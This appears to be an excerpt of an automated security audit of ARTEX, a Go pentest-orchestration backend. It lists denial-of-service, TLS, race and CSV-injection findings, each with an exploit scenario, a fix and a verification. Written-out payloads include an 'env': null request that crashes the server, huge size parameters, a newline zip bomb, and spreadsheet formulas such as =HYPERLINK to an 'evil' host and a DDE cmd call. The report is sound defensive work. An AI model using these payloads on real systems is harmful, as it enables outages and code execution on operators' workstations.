   **Sink (line 30) — accurate.** `connectMCP`'s stdio branch passes only `m.Name`, `m.Command`, `jsonStrMap(m.Env)`, `jsonStrSlice(m.Args)`. `jsonStrMap`/`jsonStrSlice` (server/assembly.go:359-373) just unmarshal the admin-supplied `mcp_servers.env/args` JSON — no allow-list, no filtering.
   
   **The env-inheritance claim.** `github.com/Autumn-27/norma v0.4.3` is an external module and **is not vendored in this repo**, so `NewStdioClient`'s body cannot be read here (Grep for `NewStdioClient`/`func NewStdio` returns only the call site). The inference that it inherits the parent env is nevertheless strong: (a) the seeded config is `command: npx` with `env: {}` — a child with an empty `Env` slice would lose `PATH` and `npx` itself would break, so a working transport must be appending `os.Environ()`; (b) the same codebase's precedent is universal — `server/customtool.go:400 c.Env = append(os.Environ(), sessionEnv...)` and `selfupdate/bootstrap.…

   Nil-map panic in browser MCP proxy sync [CVSS 6.5: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H]
   #### Description
   MCPServer.Env is a json.RawMessage that is decoded straight from the client's JSON body (pgSaveMCP -> SaveMCP) and persisted verbatim to the jsonb `env` column (db/config.go:911-926). If the body sends the JSON literal null, m.Env is RawMessage("null") and SaveMCP stores the string "null". Later ListMCP (db/config.go:823) reads that row, and syncBrowserMCPProxy passes srv.Env to decodeStrMap (server/manager.go:709-715). Because decodeStrMap starts with a non-nil map but then json.Unmarshal([]byte("null"), &out) zeroes it, the function returns a nil map. delete(env,...) tolerates nil, but when traffic capture is on (proxy != "" and CA cert path != ""), line 666 executes env["NODE_EXTRA_CA_CERTS"] = cert on the nil map, which panics with 'assignment to entry in nil map'. syncBrowserMCPProxy is called from NewManager (line 445) with no recover, so the panic kills run() at startup; it is also called from SetTrafficEnabled/SetGlobalProxy in request goroutines.
   
   #### Impact
   An authenticated user can save the seeded 'browser' MCP with `env: null`. On the next restart (or traffic-capture/proxy toggle) with capture enabled, syncBrowserMCPProxy assigns into the nil map returned by decodeStrMap, panicking the process during NewManager and preventing the backend from starting. If the panic instead fires inside the HTTP toggle handler, only that request dies, but the persisted bad row keeps crashing every subsequent boot.
   
   #### Exploit scenario
   An authenticated caller PUTs the browser MCP with `{"name":"browser","transport":"http","url":"http://x","env":null,"enabled":true}` (and has traffic capture on, which routes through the MITM proxy). The row is stored as jsonb 'null'. On the next process restart (or a POST to the traffic-capture / global-proxy settings toggle), NewManager -> syncBrowserMCPProxy runs, decoderStrMap returns nil, and `env["NODE_EXTRA_CA_CERTS"] = cert` panics. The whole backend crashes before serving, and the persisted row makes every restart crash again.
   
   #### Preconditions
   - Attacker has a valid session and can save/update MCP servers
   - Traffic capture or a global egress proxy is enabled so proxy and CA cert are non-empty
   - For the startup variant, the operator restarts the process after the bad row is persisted
   
   ```
   env := decodeStrMap(srv.Env)
   delete(env, "NODE_EXTRA_CA_CERTS")
   if proxy != "" {
   	args = append(args, "--proxy-server", proxy)
   	if cert != "" {
   		env["NODE_EXTRA_CA_CERTS"] = cert
   	}
   }
   ```
   
   #### How to fix
   decodeStrMap (and decodeStrSlice) must return an initialized, non-nil collection when the JSON value is null. Normalize `out` after Unmarshal (e.g. if out == nil { out = map[string]string{} }), or guard line 666 with a nil check before assignment. Also consider rejecting a raw `null` env in SaveMCP.
   
   **Exploitability:** Post-auth but high-confidence: client-supplied `env: null` is persisted and later decoded to a nil map; syncBrowserMCPProxy writes to that nil map when traffic capture is enabled. Panic occurs in NewManager at startup or in request goroutines, killing the process. Primitive: reliable DoS.
   
   #### Adversarial verification
   **Verdict:** TRUE_POSITIVE (confidence: 9/10) — `"env": null` from `POST /api/mcp` is stored as jsonb `null` (SaveMCP only defaults `""`), `decodeStrMap` turns it into a nil map ("null" unmarshals to nil), and `env["NODE_EXTRA_CA_CERTS"] = cert` at manager.go:666 panics whenever capture (or a global proxy) is on; reached unguarded from NewManager at startup and from the authenticated `PUT /api/settings` path, with no recover in the HTTP layer.
   
   I verified every hop. Findings:
   
   **Source (attacker input):** `POST /api/mcp` → `pgSaveMCP` (`server/server_mgmt.go:863`) decodes the body straight into `db.MCPServer` via `decode` (`json.NewDecoder(...).Decode`, line 81). `Env json.RawMessage` (db/config.go:815) therefore captures the raw bytes — a body field `"env": null` yields `RawMessage("null")`, and `"env"` omitted yields `RawMessage(nil)`.
   
   **Persistence:**…

14. **[MEDIUM] CWE-770: Allocation of Resources Without Limits or Throttling** — `db/commands.go:83` _(Agentic SAST)_ · CVSS 6.5
   Unbounded page size can exhaust backend memory [CVSS 6.5: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H]
   #### Description
   ListCommands accepts page and size from the caller and only defaults non-positive size values to 50; it never imposes a maximum. The caller-supplied size is appended directly to the SQL arguments at line 111 as the LIMIT parameter, so a huge value causes PostgreSQL to return every matching activity row. The rows are then appended one by one into the CommandRecord slice at line 118, retaining all command/output strings in memory. There is no upstream cap visible in this function, and q/expID only narrow the result set.
   
   #### Impact
   An authenticated caller can force the activity-log query to return the entire activity table in one request. Because each row includes command and output text, a single large LIMIT value can exhaust process memory and kill the backend. The same pattern is present in ListLLMRecords.
   
   #### Exploit scenario
   A logged-in user requests the command-history endpoint with a query such as size=1000000000 (and page=0). The SQL LIMIT becomes one billion, PostgreSQL returns the full activity table, and the handler loop allocates a CommandRecord for every row. With a large history of tool outputs, the process runs out of memory and becomes unavailable.
   
   #### Preconditions
   - Valid authenticated session to the ARTEX API
   - Activity table contains enough rows/large tool outputs to exhaust available memory
   
   ```
   func (d *DB) ListCommands(expID *int64, q string, page, size int) ([]CommandRecord, int, error) {
   	if size <= 0 {
   		size = 50
   	}
   ...
   	args = append(args, size, offset)
   	rows, err := d.Query(dataQ, args...)
   ...
   	out := []CommandRecord{}
   	for rows.Next() {
   		var c CommandRecord
   ...
   		out = append(out, c)
   	}
   ```
   
   #### How to fix
   Enforce a hard maximum page size in ListCommands (for example clamp size to 500) before building the SQL LIMIT argument, and apply the same cap in ListLLMRecords. Reject or clamp oversized page/size values at the HTTP handler as well.
   
   **Exploitability:** Post-auth DoS: ListCommands applies no maximum page size, so a huge LIMIT pulls every matching row and materializes all command/output strings in memory. Requires authenticated API access.
   
   #### Adversarial verification
   **Verdict:** TRUE_POSITIVE (confidence: 7/10) — `size` from `?size=` reaches `LIMIT $N` with only a lower bound (db/commands.go:84–86, 111) and there is no clamp in `pgListCommands`, `atoiDefault`, no `statement_timeout`, and no HTTP write/request timeout; the sibling `intercept` endpoint caps at 100, confirming the omission. Severity limited because the only authenticated principal is the single operator.
   
   **Verification**
   
   **Sink confirmed (db/commands.go:83–126, read in full).** `ListCommands` sets `size = 50` only when `size <= 0` and then appends it verbatim as the `LIMIT` placeholder:
   
   ```go
   if size <= 0 { size = 50 }        // line 84-86 — no upper bound
   ...
   args = append(args, size, offset) // line 111
   rows, err := d.Query(dataQ, args...) // line 112
   ...
   out = append(out, c)              // line 124 — one CommandRecord per row, incl. r.detail
   ```
   
   So the scanner's reading of the code is accurate (`offset = page*size` at line 90 rules out an "offset degenerate → small LIMIT" escape: `page=0` with huge `size` yields `LIMIT huge OFFSET 0`).
   
   **Entry point confirmed (graph edge validated).** `server/commands.go:12–24` → `pgListCommands` → `size := atoiDefault(q.Get("size"), 50)` → `ListCommands(...)`. `atoiDefault` (server/server.go:3903) is a bare `strconv.Atoi` wrapper — no clamp, no range validation.
   
   **Auth gate confirmed but weak.** `GET /api/commands` (server/server.go:793) is wrapped by `s.requireAuth` (server/server.go:938 → auth.go:97–115): only `/api/auth/*` and `/api/health` are exempt, so the route needs a valid HS256 JWT. Reachable, but post-authentication.
   
   **Kill-attempt results — all failed (no defence found):**
   - No clamp in the handler, in `ListCommands`, or in `atoiDefault`; `int` is 64-bit here, so `size=1e18` survives to the DB as a bigint LIMIT.
   - No `SET statement_timeout` / `Quer…

15. **[MEDIUM] CWE-770: Allocation of Resources Without Limits or Throttling** — `server/assets.go:455` _(Agentic SAST)_ · CVSS 6.5
   insertAssets decodes unbounded request body and asset array [CVSS 6.5: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H]
   #### Description
   decodeCompanyMutationRequest applies http.MaxBytesReader(2<<20) for company mutations, but insertAssets uses a bare json.NewDecoder(r.Body).Decode(&req) into a struct containing `Assets []struct{...}` with nested slices (`record_value`, `bound_domains`, `open_ports`, `technologies`, `auth`, `params`). There is no size limit and no cap on len(req.Assets); the loop at line 508 calls as.UpsertX per element, so a multi-hundred-MB body is fully materialized and translated into hundreds of thousands of DB round-trips.
   
   #### Impact
   A single authenticated request can supply an arbitrarily large JSON body/`assets` array that json.Decode buffers entirely and the handler then iterates, issuing one DB upsert per element. This allows memory exhaustion and DB-query amplification (N+1) from one request, unlike createCompany which caps the body at 2 MiB.
   
   #### Exploit scenario
   An authenticated caller POSTs to /api/assets with a body of hundreds of MB containing e.g. 500k asset objects (or one asset with giant nested arrays). The server buffers the whole body in memory, then runs one Upsert per asset, exhausting memory/DB connections and stalling the single-process server for other requests.
   
   #### Preconditions
   - An authenticated session able to reach POST /api/assets
   
   ```
   if err := json.NewDecoder(r.Body).Decode(&req); err != nil { ... }
   ...
   for i, a := range req.Assets {
     ... as.UpsertRootDomain / as.UpsertIP / ...
   }
   ```
   
   #### How to fix
   Wrap r.Body in http.MaxBytesReader (as decodeCompanyMutationRequest does) and enforce a maximum len(req.Assets) with a 400/413 before looping; apply the same limit to deleteAssets' `ids` array.
   
   **Exploitability:** Post-auth DoS: insertAssets decodes an unbounded body and asset array, then performs one DB round-trip per element. Large bodies cause memory pressure and massive DB work; authenticated.
   
   #### Adversarial verification
   **Verdict:** TRUE_POSITIVE (confidence: 7/10) — `insertAssets` decodes an unbounded body with no MaxBytesReader and no `len(req.Assets)` cap, while every sibling handler caps size; authenticated `POST /api/assets` drives N sequential per-asset transactions, exhausting memory/DB on the single-process server.
   
   Verified the key facts:
   
   - **Sink** (`server/assets.go:491`, `:508`): `json.NewDecoder(r.Body).Decode(&req)` — no `http.MaxBytesReader` anywhere in `insertAssets`, and no `len(req.Assets)` cap. The struct at 455–490 contains `[]string` / `[]db.PortService` / `[]map[string]any` (`Auth`, `Params`) so nested-array amplification is real too.
   - **Contrast**: the same file defines `maxCompanyMutationBodyBytes = 2<<20` and `decodeCompanyMutationRequest` (lines 19–29) for company routes, and neighbouring handlers (`task_assets.go:30`, `task_categories.go:22`, `finding_traffic.go:169`) all clamp. `decode()` in `server_mgmt.go:81` is a bare decoder — no hidden limit.
   - **Loop cost**: each element goes to `as.UpsertX` which, when no tx is set (`db/assets.go:260`), opens its own `withCompanyScopeMutation` transaction, and `SetTaskAssetSource` fires per successful row (`server/assets.go:545`) — i.e. ≥2 DB round-trips per asset, plus `UpsertSubdomain`/`UpsertOtherService` cascade into extra `UpsertRootDomain`/`UpsertIP` calls (`db/assets.go:476`, `494`, `925`). Hundreds of thousands of assets ⇒ hundreds of thousands of sequential transactions.
   - **Entry point**: `mux.HandleFunc("POST /api/assets", s.insertAssets)` (`server/server.go:744`), wrapped by `cors(s.requireAuth(mux))` at line 938. `requireAuth` (auth.go:97–115) only gates on JWT — no size limit. `cors` sets headers only.
   - **Framework-level defence absent**: `cmd/artex/main.go:116-120` sets only `ReadHeaderTimeout: 10s`. No `ReadTimeout`, no per-request body cap → the whole body is streamed into the JSON decoder unbounded.
   
   So the scanner's claim is accurate: the input is unbounded both in bytes and in element count, and it is amplified into per-row DB work. There is no upstream control (the only "auth" is a single-u…

16. **[MEDIUM] CWE-400: Uncontrolled Resource Consumption** — `server/conversations.go:393` _(Agentic SAST)_ · CVSS 6.5
   Unbounded conversation message body and attachment array [CVSS 6.5: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H]
   #### Description
   Every other conversation handler (create/update/rename/batch-delete) wraps the body in `http.MaxBytesReader` via decodeConversationRequest (lines 28-40). pgSendConversationMessage instead calls the bare `decode(r, &req)` at line 397, so there is no size limit on r.Body and no cap on len(req.Attachments). The whole body is decoded into a string `message` plus a slice of chatAttachment structs, then userActivityWithAttachments serializes all attachments into ua.Detail and pg.AppendConvActivity writes it to PostgreSQL. A single huge value therefore forces an unbounded allocation and an unbounded DB row.
   
   #### Impact
   An authenticated caller can send an arbitrarily large JSON body (or an unlimited-length `attachments` array) to the send-message endpoint; the body is decoded, marshalled back into Detail JSON and persisted, so a single request can exhaust server memory and bloat the conversation_activities table, dropping in-flight agent runs.
   
   #### Exploit scenario
   Authenticated attacker sends `POST /api/conversations/1/messages` with Content-Type application/json and a body containing a multi-gigabyte `message` string (or millions of attachment objects). json.NewDecoder allocates the whole value; the handler then serializes and stores it, OOM-killing the process or filling the database, taking the orchestration service (and any live agent runs) down.
   
   #### Preconditions
   - Attacker holds a valid session (single-user platform, so the owner or anyone with the token)
   - PostgreSQL is connected and the conversation exists
   
   ```
   var req struct {
   	Message     string           `json:"message"`
   	Attachments []chatAttachment `json:"attachments,omitempty"`
   }
   if err := decode(r, &req); err != nil {
   	writeErr(w, 400, err.Error())
   	return
   }
   ```
   
   #### How to fix
   Enforce the same request-size contract used by the rest of the file: wrap r.Body in http.MaxBytesReader(w, r.Body, maxConversationRequestBytes) (or call decodeConversationRequest) before decoding, and additionally cap len(req.Attachments) and the rune length of req.Message before persisting them.
   
   **Exploitability:** Post-auth DoS: pgSendConversationMessage uses bare decode with no MaxBytesReader and no attachment cap, then stores the full unbounded body in PostgreSQL. Authenticated.
   
   #### Adversarial verification
   **Verdict:** TRUE_POSITIVE (confidence: 8/10) — `pgSendConversationMessage` alone skips the `MaxBytesReader` used by every sibling handler, the server has no `ReadTimeout`, and the body flows unchecked into `json.Marshal` → `AppendConvActivity`/`composeAgentMessage`, giving a one-request unbounded-allocation OOM against the single orchestration process.
   
   **Verification**
   
   **The finding's core claim is factually correct.**
   
   - `server/conversations.go:397` calls the bare `decode(r, &req)`, and `decode` is `json.NewDecoder(r.Body).Decode(v)` (`server/server_mgmt.go:81`) — no `MaxBytesReader`, no `LimitReader`.
   - Every sibling handler in the same file goes through `decodeConversationRequest` (line 28-40), which wraps `http.MaxBytesReader(w, r.Body, 64<<10)`. `pgSendConversationMessage` is the one handler that bypasses it — confirmed by grep: `maxConversationRequestBytes` appears only at its definition and inside `decodeConversationRequest`.
   - No global cap compensates: `cmd/artex/main.go:116-120` builds `&http.Server{Addr, Handler, ReadHeaderTimeout}` — **no `ReadTimeout`, no `MaxBytesSize`**, and the `Handler()` chain is `cors(requireAuth(mux))` (`server.go:938`), neither of which touches the body. `convByID` (line 151-169) only does a path parse + DB lookup, so the full body is still unread when `decode` starts.
   - Sink confirms unbounded persistence: `userActivityWithAttachments` (`chatupload.go:146-153`) `json.Marshal`s the entire `[]chatAttachment` into `ua.Detail`, and `AppendConvActivity` (`db/conversation.go:237-243`) inserts it as a parameterized `text` value with no truncation. Then `composeAgentMessage` (`chatupload.go:130-141`) string-concatenates every att…

   Decompression bomb amplified into ~335MB heap by strings.Split [CVSS 6.5: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H]
   #### Description
   fsUploadSkill caps the request body at 20MB (http.MaxBytesReader, line 1293) and caps each extracted file with io.LimitReader(rc, maxSkillFileBytes) (20MB) and a 100MB running total, so raw decompressed bytes are bounded. But before any of the extraction-loop caps run (the size/count checks are only inside the loop at lines 1377-1428, which executes after the SKILL.md read), the handler locates the shallowest SKILL.md and calls readZipEntry(skillMD.f) at line 1339, which inflates up to 20MB of attacker data into md (line 1452). That buffer is then handed to skillNameFromFrontmatter (line 1267), which does lines := strings.Split(string(md), "\n"). Go's Split allocates a []string of Count+1 elements, i.e. 16 bytes of slice header per line. A 20,971,520-byte SKILL.md consisting solely of '\n' (deflate ratio ~1000:1, ~20KB on the wire; also works with STORE inside the 20MB body cap) expands to 20,971,521 string headers = ~335MB, on top of the 20MB md and the 20MB body copy. The later per-entry UncompressedSize64/per-file/total checks never get a chance to fire, and maxSkillEntries (4000) is likewise only enforced after the entire central directory has already been parsed into memory. The 16x allocation amplification is deterministic, needs no error handling or cleanup race to trigger, and each concurrent POST repeats it.
   
   #### Impact
   An authenticated attacker can turn a ~20KB uploaded zip into several hundred megabytes of resident heap in one request; a few parallel uploads OOM-kill the single-process ARTEX server, taking the API/SSE surface and every running pentest task down with it.
   
   #### Exploit scenario
   An authenticated client POSTs a ~20KB zip to the skill-upload route whose single entry is 'SKILL.md' containing 20MB of newline bytes (no frontmatter). readZipEntry inflates it to the 20MB LimitReader cap, and skillNameFromFrontmatter's strings.Split allocates a ~335MB []string; sending 4-6 of these in parallel drives the single-process server into OOM (or blocks it for seconds), killing the UI/API and all in-flight agent tasks.
   
   #### Preconditions
   - Authenticated session (any API token valid for the admin route set)
   - Skill directory writable / upload endpoint reachable
   
   ```
   md, err := readZipEntry(skillMD.f)          // inflates up to 20MB
   ...
   name := skillNameFromFrontmatter(md)
   
   func skillNameFromFrontmatter(md []byte) string {
   	lines := strings.Split(string(md), "\n")   // 20M newlines -> ~335MB of []string headers
   ```
   
   #### How to fix
   Bound the work done on the SKILL.md buffer before splitting: reject f.UncompressedSize64 > ~256KB for the SKILL.md entry inside readZipEntry/at the call site (line 1339), or replace strings.Split(string(md)) in skillNameFromFrontmatter with a scanner that only reads until the closing '---' and caps at e.g. 64KB / 200 lines. Also enforce maxSkillEntries while building entriesAll (skillZipEntries) rather than only in the extraction loop.
   
   **Exploitability:** Post-auth DoS: a 20 MB SKILL.md of newlines causes strings.Split to allocate ~335 MB of slice headers before per-entry caps fire. Deterministic heap amplification; authenticated upload.
   
   #### Adversarial verification
   **Verdict:** TRUE_POSITIVE (confidence: 7/10) — readZipEntry inflates SKILL.md to its 20MB LimitReader cap before any size/entry checks, and skillNameFromFrontmatter's strings.Split then allocates ~16B per line (≈335MB for 20M newlines) from a ~20KB deflate stream; reproducible ~400MB/request with no timeout or memory limit, though the only principal who can send it is the authenticated operator.
   
   **Verification**
   
   **Sink / no upstream size guard.** `fsUploadSkill` (server/server_mgmt.go:1292) is registered at `POST /api/skills/upload` (server/server.go:880) behind `cors(s.requireAuth(mux))` (server/server.go:938), so an authenticated JWT is required (server/auth.go:97-114).
   
   Reachable in production? Yes — a normal API route, not test-only.

   Upstream TLS verification disabled on recording proxy [CVSS 6.9: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N]
   #### Description
   Open constructs the go-mitmproxy proxy with `SslInsecure: true`. That option disables verification of the upstream server certificate, so the proxy will complete TLS to a self-signed or hostname-mismatched certificate. Because the recorded exchanges are later treated as factual evidence by worker agents (traffic_search/traffic_get/traffic_blob and finding binding), an on-path attacker can poison that evidence. The same attacker also receives all captured request headers and bodies, since the proxy forwards them to the impersonated endpoint.
   
   #### Impact
   Every upstream HTTPS connection made by the traffic recorder accepts any certificate and any hostname. A network attacker between the proxy and a target can impersonate the target, receive the forwarded request (including Authorization/Cookie headers), and inject forged responses that are stored as captured evidence.
   
   #### Exploit scenario
   An attacker on the proxy's egress path (e.g. same LAN, compromised router, rogue DNS) intercepts the recorder's connection to `https://target.example`, presents a self-signed certificate for `target.example`, and returns a forged 200 response. The proxy accepts it without verification, records the attacker's response, and an agent later cites the forged body as proof of a vulnerability; the attacker also sees the original `Authorization: Bearer ...` header forwarded in the request.
   
   #### Preconditions
   - Attacker can intercept or redirect traffic between the Artex proxy and a target host
   - Traffic capture is enabled and the target exchange is recorded
   
   ```
   p, err := mproxy.NewProxy(&mproxy.Options{
   	Addr:        addr,
   	SslInsecure: true,
   	CaRootPath:  filepath.Join(dir, "_ca"),
   })
   ```
   
   #### How to fix
   TLS verification must remain enabled by default for upstream connections. In `traffic/traffic.go::Open`, change the proxy options to leave certificate verification on (e.g. remove/disable `SslInsecure`), and if self-signed pentest targets must be supported, provide an explicit per-host opt-in rather than a global `SslInsecure: true`.
   
   **Exploitability:** Adjacent/on-path integrity issue: the recording proxy sets SslInsecure, so upstream TLS is not verified. An on-path attacker can present a bad certificate, receive all proxied credentials, and poison evidence later treated as factual by agents.
   
   #### Adversarial verification
   **Verdict:** TRUE_POSITIVE (confidence: 6/10) — `SslInsecure: true` is real and reachable from `run`, upstream cert verification is genuinely disabled (no pinning anywhere in the recording path), and the unverified responses are the evidence agents cite; on-path attacker can forge recorded exchanges and sees forwarded headers. Severity tempered because it may be an intentional self-signed-target tradeoff and requires MITM position.
   
   I verified the code and the surrounding flow.
   
   **Code confirmation:**
   - `traffic/traffic.go:204-208` — `mproxy.NewProxy(&mproxy.Options{Addr, SslInsecure: true, CaRootPath})` exactly as reported. `SslInsecure` is the go-mitmproxy (v1.9.2, go.mod:11) option that sets `tls.Config{InsecureSkipVerify: true}` on the **upstream/dial** side; the CA-root path is only for the certs the proxy *mints* for the client, so it does not restore verification. Nothing else in the `traffic` package re-verifies the target cert (`Grep` for `InsecureSkipVerify|VerifyPeerCertificate|RootCAs` inside `traffic/` → nothing).
   - No redeeming pinning: an agent-side hop that *does* verify would show up as `RootCAs` — the only such site is `server/customtool.go:478-483`, which builds a pool containing **only** the MITM CA, so through that transport the real target chain is also never trusted, and any target using a public CA would be rejected (i.e. `use_recording_proxy` users necessarily rely on the proxy blindly accepting the upstream).

   CSV formula injection in findings export [CVSS 6.3: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L]
   *1 additional call site(s) collapsed during dedup — same root cause; each location needs the same fix applied.*
   
   #### Description
   GET /api/exploration/findings/export?format=csv loads DBFinding rows via ListFindingsForExport and passes them to report.FindingsCSV, which writes finding name/title, vulnclass, task description, severity and summary directly into csv.Writer cells. csv.Writer only adds quoting when a value contains a delimiter/quote/newline; it does not neutralize a leading formula character. Finding names/summaries/vulnclass are generated by the AI agent from the (untrusted) responses of the target being scanned, so a target-controlled string such as =cmd|' /C calc'!A0 can end up as the first character of a cell.
   
   #### Impact
   When a pentester exports findings to CSV and opens the file in Excel/LibreOffice, a cell beginning with =, +, -, or @ is evaluated as a formula. A malicious scanned target can plant a DDE/formula payload that runs on the operator's workstation, exfiltrating data or executing commands.
   
   #### Exploit scenario
   An attacker hosts a site whose HTTP response/title contains a finding name like `=HYPERLINK("http://evil/"&A1,"x")` or a DDE `=cmd|' /C powershell ...'!A0`. ARTEX scans it and records the finding name verbatim. The operator exports findings as CSV (a normal UI action) and double-clicks the file; Excel evaluates the formula, running the attacker's payload with the operator's privileges.
   
   #### Preconditions
   - Attacker controls content of a target scanned by ARTEX (finding name/summary copied from target response)
   - Operator exports findings as CSV and opens it in a spreadsheet application
   
   ```
   case "csv":
   	setDownload("text/csv; charset=utf-8", "findings-"+stamp+".csv")
   	_, _ = w.Write(report.FindingsCSV(fs))
   ```
   
   #### How to fix
   Prefix cells beginning with =, +, -, @, tab or CR with a single quote (or force text format) before writing to CSV. Implement this in report.FindingsCSV where the raw name/summary/vulnclass fields are appended at report/findings.go:154, or sanitize the fields in the findingsExport handler before calling report.FindingsCSV.
   
   **Exploitability:** Stored CSV formula injection: target-influenced finding fields are written directly into CSV cells. A leading `=` becomes a formula when the operator opens the export. Requires operator export and spreadsheet opening; client-side code execution/phishing primitive.
   
   #### Adversarial verification
   **Verdict:** TRUE_POSITIVE (confidence: 7/10) — `ListFindingsForExport` returns unvalidated agent/target-derived `name`/`vulnclass`/`summary`, and `report.FindingsCSV` writes them through `encoding/csv`, which quotes but does not neutralise leading `=`/`+`/`-`/`@`, so a scanned target can plant a formula that executes when the operator opens the export in a spreadsheet.
   
   I verified the full path:
   
   - **Entry point**: `GET /api/exploration/findings/export` is registered on the API mux (`server/server.go:760`), behind the JWT auth middleware (all `/api/` except `/api/auth/*` and `/api/health`) — so an authenticated operator is the *victim*, and the injected data comes from an untrusted third-party target.
   - **Source**: `findingsExport` → `pg.ListFindingsForExport` (`db/findings.go:472`) selects `f.vulnclass, COALESCE(f.name,''), f.summary, f.evidence, t.description, …` verbatim from the `findings` table. Rows are written by `RecordFindingTx`/`AddFinding` from `report_finding` tool input (`agent/tools.go:1256`) with **no validation, truncation, or character allow-list** — `VulnClass, Name, Summary` are the model/agent's transcription of what it saw on the scanned target.
   - **Sink**: `report.FindingsCSV` (`report/findings.go:145-168`) feeds `findingTitle(f)` (= `f.Name` or `f.VulnClass`), `f.VulnClass`, `f.TaskDescription` and `strings.TrimSpace(f.Summary)` straight into `csv.NewWriter` cells. `encoding/csv` only quotes for delimiter/quote/newline; a leading `=`, `+`, `-`, `@` cell (`=cmd|' /C calc'!A0`, `=HYPERLINK(...)`) survives as a live …
   ↳ also: `report/findings.go:145-168` (same root cause)

20. **[MEDIUM] CWE-400: Uncontrolled Resource Consumption** — `mcphttp/client.go:182` _(Agentic SAST)_ · CVSS 5.9
   Unbounded SSE line read from MCP server can OOM process [CVSS 5.9: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H]
   #### Description
   readSSEEndpoint uses bufio.Reader.ReadString('\n') with no maximum line length. The same pattern exists in readLegacySSE at line 214. ReadString accumulates the entire line into a string before returning, so a server that sends 'data:' followed by gigabytes of bytes and never terminates the line forces unbounded allocation. NewSSE also drives this initial read with a context.Background()-derived context, so caller cancellation does not stop the allocation. The normal request body limits elsewhere do not apply because this is a response stream from a remote MCP endpoint.
   
   #### Impact
   A malicious or compromised MCP SSE server can send a single line with no newline and cause the ARTEX process to allocate memory without bound. The backend can be OOM-killed, terminating all active tasks and the HTTP API.
   
   #### Exploit scenario
   An attacker who controls or MITMs a configured MCP SSE endpoint accepts the GET /sse connection and sends 'data:' followed by a continuous stream of bytes with no newline. ARTEX's readSSEEndpoint loops in ReadString, growing the line buffer until the process is killed by the OOM killer. All running agent tasks and the API become unavailable.
   
   #### Preconditions
   - ARTEX is configured to connect to the attacker's MCP SSE server, or the attacker can intercept an insecure SSE connection
   - The server sends a data line longer than available memory without a newline
   
   ```
   for {
       line, err := r.ReadString('\n')
       if err != nil {
           return "", fmt.Errorf("mcp sse endpoint: %w", err)
       }
       line = strings.TrimRight(line, "\r\n")
   ```
   
   #### How to fix
   Bound the line size in both readSSEEndpoint and readLegacySSE, e.g. use bufio.Scanner with an explicit maximum buffer, an io.LimitReader around the body, or read fixed-size chunks and enforce a maximum event/message size. Also drive the initial GET and endpoint read from the caller's context in NewSSE so cancellation/timeouts can abort the read.
   
   **Exploitability:** Remote MCP server can OOM the process by sending a never-terminated SSE line; ReadString has no cap and the initial read uses context.Background. Requires an MCP connection; DoS only.
   
   #### Adversarial verification
   **Verdict:** TRUE_POSITIVE (confidence: 7/10) — `ReadString('\n')` at mcphttp/client.go:184 and :214 accumulates an unbounded line from an untrusted remote SSE server, with no `bufio.Scanner` cap (unlike `parseSSE`) and a `context.Background()`-derived, timeout-free stream, so a never-terminated `data:` line OOMs the process; reachable from `POST /api/mcp`, `/api/mcp/{id}/refresh`, and startup discovery.
   
   I verified the code and traced reachability.
   
   **Sink (confirmed, both sites):**
   - `mcphttp/client.go:184` — `r.ReadString('\n')` in `readSSEEndpoint`, loop bounded only by newline/EOF. `bufio.Reader` has no line cap (`ReadString` accumulates via `collectFragments`/`ReadBytes`); a server that never emits `\n` grows the slice until allocation fails. **No** `MaxBytesReader`, no `io.LimitReader`, no `bufio.Scanner` cap here. Contrast with `parseSSE` (line 536–537) which *does* cap at 8 MB — evidence the omission is an oversight, not a design choice.
   - `mcphttp/client.go:214` — identical pattern in `readLegacySSE`.
   
   **Cancellation claim (confirmed):** `NewSSE` (line 133) derives `streamCtx` from `context.Background()`, and `hc := &http.Client{}` has **no Timeout**; `readSSEEndpoint` takes no ctx. So the caller's `context.WithTimeout(r.Context(), 45*time.Second)` in `pgSaveMCP`/`pgRefreshMCP` (server_mgmt.go:884, 930) does not bound this read. My first hypothesis — "the 45 s dial timeout saves it" — is falsified: it doesn't, because the stream context is detached.
   
   **Reachability (verified, graph edges correct):** `POST /api/mcp` (`pgSaveMCP`, server_mgmt.go:863) and `POST /api/mcp/{id}/refresh` (`pgRefreshMCP`, :908) → `discoverAndCacheMCP` → `connectMCP` (case `"sse"`, mcpdiscover.go:41) → `mcphttp.NewSSE` → `readSSEEndpoint`. Plus startup `discoverEmptyMCPsOnStartup` (server…

21. **[MEDIUM] CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization (Race Condition)** — `server/logsink.go:153` _(Agentic SAST)_ · CVSS 5.3
   Send on closed channel in log fan-out panics server [CVSS 5.3: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H]
   #### Description
   add() takes s.mu, copies the current subscriber channels into a local slice, releases the lock (line 143), then later does a non-blocking send to each captured channel (lines 153-158). The unsubscribe closure returned by subscribe() removes the channel from s.subs under the lock but calls close(ch) only AFTER releasing the lock (lines 186-193). This leaves a window: add() can snapshot channel X while it is still registered, unsubscribe then deletes X and closes it, and add() subsequently executes `case sub <- l` on the closed channel X, which panics ('send on closed channel'). There is no re-check of membership or closed-state between the snapshot and the send, and no recover(), so the panic propagates in whichever goroutine emitted the log line and terminates the process.
   
   #### Impact
   When an SSE log subscriber disconnects at the same moment the process writes a log line, the writer goroutine sends on the already-closed subscriber channel and panics. Because StartLogCapture redirects the global log package into this sink, virtually any log.Printf on any goroutine can be the one that panics, crashing the whole ARTEX process and stopping all tasks/proxy orchestration (availability).
   
   #### Exploit scenario
   An authenticated user opens the live backend logs SSE page (which calls logSink.subscribe to register a channel) and then closes/navigates away while the server is actively logging (e.g. a running task emitting activity logs). The handler invokes the unsubscribe func, deleting the channel and closing it while a concurrent add() has already snapshotted that channel; add()'s `sub <- l` then panics 'send on closed channel', crashing the server.
   
   #### Preconditions
   - Attacker has a valid session able to open the logs SSE stream (single-user platform)
   - Server is actively writing log lines concurrently with the disconnect
